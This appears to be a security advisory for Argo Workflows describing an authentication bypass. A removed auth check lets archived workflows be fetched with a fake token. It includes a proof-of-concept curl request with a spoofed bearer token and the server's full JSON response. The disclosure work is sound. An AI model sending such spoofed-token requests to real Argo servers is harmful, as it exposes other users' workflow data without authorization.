Description
Summary
When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
Details
No authentication is performed by the Server itself on client tokens1. Authentication & authorization is instead delegated to the k8s API server.
However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.
In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.
PoC
Configuration
Controller ConfigMap:
config: |
persistence:
archive: true
postgresql:
database: argoworkflows
host: db-host
passwordSecret:
key: postgresPassword
name: argo-wf-postgres-credentials
port: 5432
tableName: argo_workflows
userNameSecret:
key: username
name: argo-wf-postgres-credentials
Server: --auth-mode=client
Reproduction
Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.
For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):
curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
"metadata": {
"name": "hello-world-7tv5g",
"generateName": "hello-world-",
"namespace": "argo",
"uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
"resourceVersion": "9982",
"generation": 3,
"creationTimestamp": "2024-08-13T23:59:20Z",
"labels": {
"workflows.argoproj.io/archive-strategy": "false",
"workflows.argoproj.io/completed": "true",
"workflows.argoproj.io/phase": "Succeeded",
"workflows.argoproj.io/workflow-archiving-status": "Persisted"
},
"annotations": {
"workflows.argoproj.io/description": "This is a simple hello world example.\n",
"workflows.argoproj.io/pod-name-format": "v2"
},
"managedFields": [
{
"manager": "argo",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:20Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
".": {},
"f:workflows.argoproj.io/description": {}
},
"f:generateName": {},
"f:labels": {
".": {},
"f:workflows.argoproj.io/archive-strategy": {}
}
},
"f:spec": {}
}
},
{
"manager": "workflow-controller",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:30Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
"f:workflows.argoproj.io/pod-name-format": {}
},
"f:labels": {
"f:workflows.argoproj.io/completed": {},
"f:workflows.argoproj.io/phase": {},
"f:workflows.argoproj.io/workflow-archiving-status": {}
}
},
"f:status": {}
}
}
]
},
"spec": {
"templates": [
{
"name": "hello-world",
"inputs": {},
"outputs": {},
"metadata": {},
"container": {
"name": "",
"image": "busybox",
"command": [
"echo"
],
"args": [
"hello world"
],
"resources": {}
}
}
],
"entrypoint": "hello-world",
"arguments": {},
"serviceAccountName": "argo-workflow"
},
"status": {
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:30Z",
"progress": "1/1",
"nodes": {
"hello-world-7tv5g": {
"id": "hello-world-7tv5g",
"name": "hello-world-7tv5g",
"displayName": "hello-world-7tv5g",
"type": "Pod",
"templateName": "hello-world",
"templateScope": "local/hello-world-7tv5g",
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:24Z",
"progress": "1/1",
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"outputs": {
"exitCode": "0"
},
"hostNodeName": "kind-control-plane"
}
},
"conditions": [
{
"type": "PodRunning",
"status": "False"
},
{
"type": "Completed",
"status": "True"
}
],
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"artifactRepositoryRef": {
"default": true,
"artifactRepository": {}
},
"artifactGCStatus": {
"notSpecified": true
},
"taskResultsCompletionStatus": {
"hello-world-7tv5g": true
}
}
}%
Impact
Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.
Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.
